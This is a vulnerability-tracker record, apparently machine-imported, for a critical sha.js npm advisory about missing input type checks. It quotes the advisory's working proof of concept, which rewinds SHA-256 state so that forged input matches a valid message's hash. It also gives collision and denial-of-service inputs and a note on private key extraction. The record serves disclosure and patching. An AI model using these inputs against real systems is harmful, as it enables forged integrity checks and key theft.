IntelligenceFindingsNMN-2026-0008
sha.js is missing type checks leading to hash rewind and passing on crafted data
CandidateMachine- or researcher-generated; not independently verified.
In short
What to know.
- Package
- sha.js npmsha.js: before 2.4.12
- What to do
- Upgrade sha.js to 2.4.12 or later.
- Severity
- CriticalRated by the source advisory.
- Confidence
- HighThe affected range comes from the advisory; no system that uses the component has been assessed.
Verification
Where it stands.
- Candidate
- In review
- Reproduced
- Confirmed
- Resolved
- Disputed
- Withdrawn
8 listed
Sources
- OSV record GHSA-95m3-7q98-8xr5osv.devRetrieved 3 December 2026
- web reference for GHSA-95m3-7q98-8xr5github.comRetrieved 3 December 2026
- advisory reference for GHSA-95m3-7q98-8xr5nvd.nist.govRetrieved 3 December 2026
- web reference for GHSA-95m3-7q98-8xr5github.comRetrieved 3 December 2026
- web reference for GHSA-95m3-7q98-8xr5github.comRetrieved 3 December 2026
- package reference for GHSA-95m3-7q98-8xr5github.comRetrieved 3 December 2026
- web reference for GHSA-95m3-7q98-8xr5lists.debian.orgRetrieved 3 December 2026
- web reference for GHSA-95m3-7q98-8xr5cve.orgRetrieved 3 December 2026
Full record
- Finding
- NMN-2026-0008
- Category
- vulnerability
- Component
- sha.js (npm)sha.js: before 2.4.12
- Severity
- Critical. Rated by the source advisory.Severity as labelled by the source advisory GHSA-95m3-7q98-8xr5. CVSS as given: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N. Noumen has not assessed it.
- Confidence
- High.The affected range comes from the advisory; no system that uses the component has been assessed.
- State
- Candidate. Machine- or researcher-generated; not independently verified.
- Disclosure
- Public
- Mitigation
- Upgrade sha.js to 2.4.12 or later.
- Discovery method
- imported from a public advisory by the Advisory Monitor (1.0.0)Machine-generated by the agent advisory-monitor@1.0.0.
- Reproduction
- No reproduction steps recorded.
- Related advisories
- GHSA-95m3-7q98-8xr5CVE-2025-9288
- Affected systems
- None listed. A link to a system needs its own evidence.
- Attribution
- Researcher: advisory-monitor@1.0.0 (agent, machine-generated)Validators: None yet
- Assigned reviewer
- Nobody yet
- Dates
- Created 3 December 2026, 16:47 UTCUpdated 3 December 2026, 16:47 UTC
Summary, as published by the source advisory
### Summary
This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.
Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
### Details
See PoC
### PoC
```js
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```
Output:
```
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
```
Or just:
```console
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
```
### Impact
1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
1 event, oldest first
History
History verified: 1 eventLatest hash6f509395ea696f509395ea695135d361da4b9c2df1054ed5e0b29f1da897cbc3810b8398da52
Record createdMachine-generated
By advisory-monitor@1.0.0 (agent, machine-generated)
Reason: Imported from public advisory GHSA-95m3-7q98-8xr5.
Entered the record in the state Candidate.
Event 1 hash6f509395ea696f509395ea695135d361da4b9c2df1054ed5e0b29f1da897cbc3810b8398da52
About this record
Severity and confidence are rated separately, each with its own reason.
History events are never edited or deleted. Each stores the hash of the one before, so a later change breaks the chain.
Corrections keep the value before and after.